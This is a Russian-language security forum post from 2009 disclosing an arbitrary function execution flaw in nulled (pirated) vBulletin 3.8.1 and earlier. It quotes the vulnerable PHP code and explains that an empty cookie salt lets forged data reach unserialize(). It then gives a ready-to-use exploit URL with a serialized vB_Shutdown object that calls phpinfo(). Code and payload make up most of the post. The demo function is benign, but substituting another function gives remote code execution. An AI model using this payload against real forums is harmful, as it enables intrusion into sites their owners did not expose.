Показать сообщение отдельно

  #58  
Старый 04.12.2009, 00:00
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
По умолчанию

VBulletin nulled <= 3.8.1 Arbitrary Function Execution

includes/class_core.php@3124:
PHP код:
class vB_Shutdown
{
    
/* ... */
    
function __destruct()
    {
        if (!empty(
$this->shutdown))
        {
            foreach (
$this->shutdown AS $key => $funcname)
            {
                
$funcname();
                unset(
$this->shutdown[$key]);
            }
        }
    }

forumdisplay.php@165:
PHP код:
if ($vbulletin->GPC['postvars'] != '')
{
    if ((
$check verify_client_string($vbulletin->GPC['postvars'])) !== false)
    {
        
$temp unserialize($check);
        
/* ... */
    
}

includes/functions.php@2211:
PHP код:
function verify_client_string($string$extra_entropy '')
{
    
/* ... */
    
$firstpart substr($string040);
    
$return substr($string40);
    
$decode false;
    
/* ... */

    
if (sha1($return sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
    {
        return (
$decode base64_decode($return) : $return);
    }

    return 
false;

В нуленных версиях COOKIE_SALT равен пустой строке, это дает возможность манипулировать данными, которые попадают в unserialize(). Для выполнения произвольных функций необходимо передать в параметре postvars сериализованный объект класса vB_Shutdown, где в свойстве shutdown можно перечислять любые функции для выполнения.

Эксплоит для выполнения phpinfo():
Код:
/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}
Если непонятно как это работает, прошу сюда:
http://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/
 
Ответить с цитированием